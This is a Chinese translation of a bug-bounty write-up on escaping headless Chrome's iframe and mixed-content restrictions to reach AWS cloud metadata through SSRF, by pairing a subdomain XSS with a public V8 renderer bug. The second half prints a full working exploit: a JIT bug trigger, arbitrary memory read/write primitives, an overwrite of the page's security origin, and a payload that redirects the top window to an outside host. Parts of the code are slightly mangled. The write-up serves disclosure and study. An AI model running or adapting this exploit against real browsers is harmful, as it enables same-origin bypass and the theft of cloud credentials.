译文 | 赏金猎人 - 绕过 SSRF 的浏览器安全机制
2022-3-10 10:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:27 收藏

开卷有益 · 不求甚解


背景

在对私人漏洞赏金计划进行黑客攻击时,我们发现了一项功能,该功能可以生成用户控制的 HTML 页面的屏幕截图。我们开始为 SSRF 测试此功能。通过检查用户代理,很明显正在使用无头 Chrome 来生成屏幕截图。

通常,当您遇到无头浏览器/chrome 时,您会希望通过框架内部资源、javascript 执行以及与 chrome 远程调试通信进行探索。我们能够构建外部站点并执行 javascript,但似乎我们在访问内部资源(例如云元数据 API)时遇到了问题。

问题

经过一段时间的调试,我们意识到出了什么问题。由于我们的 javascript 执行发生在 iframe 中,这些 iframe 还受到沙盒属性的限制allow-same-origin allow-forms allow-scripts allow-downloads allow-popups allow-popups-to-escape-sandbox allow-top-navigation-by-user-activation,因此我们无法简单地重定向 top 的目的地。此外,由于顶部在“HTTPS”上运行,我们无法在“HTTP”上构建内部/外部资源,这样做会触发浏览器的混合内容安全控制。因此,我们不能只是简单地构建http://169.254.169.254并读取 AWS 云元数据。

此图像代表环境。

但是,因为frame[0]frame[1]共享相同的起源,我们可以简单地重写 DOMframe[0]或导航到top.frames[0]并接管,frame[0]同时完全消除frame[1]图片。现在我们被另一个问题所震惊,一个似乎是死胡同的问题。

在深入研究这个问题时,我们发现了用户代理中的一个小细节,它为我们提供了更多的可能性。无头 Chrome 的版本已过时 - HeadlessChrome/85.0.4182.0. 在探索 Chrome 漏洞利用时,我们发现了一个渲染器漏洞利用,它提供远程代码执行并且是公开可用的。甚至有一个完整的链漏洞利用,但没有公开概念证明。无论如何,渲染器漏洞在我们的本地机器上执行时未能在目标上执行,它看起来好像 Chrome 正在其正常的沙盒模式下运行(就像它应该的那样!)。:伤心:

仅对渲染器进程漏洞有基本的了解,我们联系了s1r1us,毫无疑问,他更容易接触到与 chrome 相关的漏洞。他提到我们几天前在ptr-yudai的帮助下使用类似的东西为 BSides Ahmedabad CTF创建了他的 CTF 挑战“Neutron”。

解决问题的方法

此时,我们将范围缩小到两种可能为我们提供访问“HTTP”资源和获取数据的方法。

  1. Window.open() 并从内存中读取

由于沙盒属性“allow-popups-to-escape-sandbox”,我们能够使用 iframe 中的 AWS 元数据打开一个新窗口,但我们之前无法截屏。有一个渲染器漏洞可供我们使用,而且无头 Chrome 默认情况下没有启用站点隔离,我们可以开发一个漏洞,允许我们从内存中读取元数据。

  1. 欺骗frame[0]顶部的起源,从而使我们能够访问顶部。

另一种方法是欺骗frame[0]的来源以匹配顶部的来源。这样,我们最终会在同一个源上,允许我们访问 top 的 DOM。

后一种方式比前一种方式更容易,因为在 CTF 挑战赛中使用了相同的概念,并且漏洞利用是编写。但是,要使来源欺骗起作用,我们需要在顶部的同一站点上设置 XSS。换句话说,我们需要在domain.tld.

前一种方式只是我们当时的一个想法,如果我们无法在其中一个子域中找到 XSS。通常,即使禁用了站点隔离,chrome 也会创建每个选项卡的进程,但我们有点希望无头 chrome 可能对新窗口使用相同的进程,这允许我们读取新创建的窗口的内存。此外,这个漏洞很难编写,因为我们需要在内存中搜索 AWS 元数据并读取它。

无论如何,我们继续使用第二种方式,我们几乎花了一周的时间来充分利用并截取带有源欺骗的 AWS 元数据。让我们深入了解它的细节。

在顶部窗口的子域中搜索 XSS。

如前所述,要继续第一种方式,我们需要在顶部窗口的子域上设置 XSS。幸运的是,我们能够毫不费力地在两个子域上找到 XSS。假设我们开启了 XSS pwnz.domain.tld

这给我们留下了最后一部分,即编写利用来欺骗 to 的pwnz.domain.tld起源some.domain.tld

同一站点之间的欺骗来源

请阅读此博客以了解跨站点、跨域、同站点、同源之间的区别,然后再继续。

在渲染器进程中, SecurityOrigin类具有原始数据(方案、主机、端口、域)。使用渲染器漏洞可以将这些数据修改为我们想要的任何来源,但这种修改在跨站点来源中是无用的。例如,使用渲染器漏洞将http://a.com的源信息修改为http://some.domain.tld,不会绕过同源策略。

有趣的是,修改同站来源的来源信息会绕过同源策略。例如,使用渲染器漏洞将 http://pwnz.domain.tld 的源信息修改为http : //some.domain.tld可以绕过同源策略。换句话说,您可以从http://pwnz.domain.tld访问http://some.domain.tld的 DOM 。

以下路径给出了SecurityOrigin对象的偏移量。

窗口 -> LocalDOMWindow -> SecurityOrigin

var addr_window = addr_upper | addrof(window) + 0x18n; //window
console.log("[+] window = " + addr_window.hex());

var addr_ldomwin = aar64(addr_window) + 0x80n;  //LocalDOMWindow object
console.log("[+] LoclDOMWindow = " + addr_ldomwin.hex());

var get_sec_origin = aar64(addr_ldomwin + 0x110n); //SecurityOrigin object
console.log("[+] sec_origin_context " + get_sec_origin.hex());
var addr_sec = aar64(get_sec_origin + 0x110n + 0x10n);
console.log("[+] security_context = " + addr_sec.hex())

//var port = aar64(addr_sec+0x20n); // you can spoof the port which is at +0x20 from sec
//console.log("[+] port  = " + port.hex())

 var sec_host = aar64(addr_sec+0x18n); //host is at +0x18 from SecurityOrigin object
 console.log("[+] host String = "  + sec_host.hex())
/*Here we overwriting pwnz to some*/
 aaw32(sec_host, 0x656d6f73) //p32(0x656d6f73) = some

在欺骗了源之后,我们修改了 top Window 的 DOM 并创建了一个指向 AWS 元数据的 iframe。这是攻击的 GIF 演示。


最终利用 - https://gist.github.com/rootxharsh/d3740298e1c5aff5120c0ecf8495b750

<html>
    <b>pwn</b>
    
</html>
    <script>  
/
* Thanks to zer0pts ptr-yudai Discord log which helped me write this exploit :)  */
 var conversion_buffer = new ArrayBuffer(8);
 var float_view = new Float64Array(conversion_buffer);
 var int_view = new BigUint64Array(conversion_buffer);
 BigInt.prototype.hex = function() {
     return '0x' + this.toString(16);
 };
 BigInt.prototype.i2f = function() {
     int_view[0] = this;
     return float_view[0];
 }
 Number.prototype.f2i = function() {
     float_view[0] = this;
     return int_view[0];
 }
 function gc() {
     for (var i = 0; i < 0x10000; ++i)
         var a = new ArrayBuffer();
 }

 function pwn()
 {
     class LeakArrayBuffer extends ArrayBuffer {
         constructor(size) {
             super(size);
             this.slot = 0xb33f;
         }
     }

     function jitme(a) {
         var x = -1;
         if (a) x = 0xFFFFFFFF;
         var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
         arr.shift();
         var local_arr = Array(2);
         local_arr[0] = 5.1;
         var buff = new LeakArrayBuffer(0x1000);
         arr[0] = 0x1122;
         return [arr, local_arr, buff];
     }

     /

* Cause bug */
     gc();
     console.log("[+] START");
     console.log("[+] window.origin now " + window.origin);
     for (var i = 0; i < 0x10000; ++i)
         jitme(false);
     gc();
     [corrput_arr, rwarr, corrupt_buff] = jitme(true);
     corrput_arr[12] = 0x22444;
     delete corrput_arr;
     

     /

* Primitives */
     function set_backing_store(l, h) {
         rwarr[4] = ((h << 32n) | (rwarr[4].f2i() & 0xffffffffn)).i2f();
         rwarr[5] = ((rwarr[5].f2i() & 0xffffffff00000000n) | l).i2f();
     }
     function addrof(o) {
         corrupt_buff.slot = o;
         return (rwarr[9].f2i() - 1n) & 0xffffffffn;
     }

     var corrupt_view = new DataView(corrupt_buff);
     var corrupt_buffer_ptr_low = addrof(corrupt_buff);
     console.log("[+] leak = " + corrupt_buffer_ptr_low.hex());

     /

* Fake obj */
     var idx0Addr = corrupt_buffer_ptr_low - 0x10n;
     var baseAddr = (corrupt_buffer_ptr_low & 0xffff0000n) - ((corrupt_buffer_ptr_low & 0xffff0000n) % 0x40000n) + 0x40000n;
     var delta = baseAddr + 0x1cn - idx0Addr;
     var addr_upper;
     if ((delta % 8n) == 0n) {
         var baseIdx = delta /
 8n;
         addr_upper = (rwarr[baseIdx].f2i() & 0xffffffffn) << 32n;
     } else {
         var baseIdx = ((delta - (delta % 8n)) / 8n);
         addr_upper = rwarr[baseIdx].f2i() & 0xffffffff00000000n;
     }
     console.log("[+] upper = " + addr_upper.hex());

     function aar64(addr{
         set_backing_store(addr >> 32n, addr & 0xffffffffn);
         return corrupt_view.getFloat64(0true).f2i();
     }
     function aaw64(addr, value{
         set_backing_store(addr >> 32n, addr & 0xffffffffn);
         corrupt_view.setFloat64(0, value.i2f(), true);
     }
     function aaw32(addr, value{
         set_backing_store(addr >> 32n, addr & 0xffffffffn);
         corrupt_view.setInt32(0, value, true);
     }
     function aaw8(addr, value{
         set_backing_store(addr >> 32n, addr & 0xffffffffn);
         corrupt_view.setInt8(0, value , true);
     }

    var addr_window = addr_upper | addrof(window) + 0x18n;
    console.log("[+] window = " + addr_window.hex());

    var addr_ldomwin = aar64(addr_window) + 0x80n
    console.log("[+] LoclDOMWindow = " + addr_ldomwin.hex());

    var get_sec_origin = aar64(addr_ldomwin + 0x110n);
    console.log("[+] sec_origin_context " + get_sec_origin.hex());
    var addr_sec = aar64(get_sec_origin + 0x110n + 0x10n);
    console.log("[+] security_context = " + addr_sec.hex())

    //var port = aar64(addr_sec+0x20n); // you can spoof the port which is at +0x20 from sec
   //console.log("[+] port  = " + port.hex())
   
     var sec_host = aar64(addr_sec+0x18n);
     console.log("[+] host String = "  + sec_host.hex())
     aaw32(sec_host, 0x656d6f73//p32(0x656d6f73) = some
     
    console.log("[+] window.origin after exp = "+window.origin)
    try{
    console.log("[+] Accessing top.document.body.innerHTML ")
    console.log(top.document.body.innerHTML);
    top.document.body.innerHTML = '<img src=x onerror="location=`http://mws.rce.ee/`">'
    }
    catch(e){
    console.log("sed lyf")
    }
 }

 pwn()

</script>

结论

发现和利用此漏洞非常有趣。我们能够将浏览器利用技术包含在 Web 应用程序漏洞中。很高兴与 @s1r1us 一起研究这一发现。我们有机会更详细地研究了 Chrome 安全模型。

感谢您抽出时间来阅读!如果您喜欢此存储库中的这篇文章和其他文章,请考虑在 Twitter 上转发和关注 HTTPVoid。如果您认为我们可以帮助您满足您的安全需求,请通过 hello [@] httpvoid.com 联系我们。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247485946&idx=2&sn=7bd2eca28ad595c8432f13c0938b71c0&chksm=fb35a032cc42292426513e69b38e51053a01c8196160fca63e4c56adb35514245a65b28d4565#rd
如有侵权请联系:admin#unsafe.sh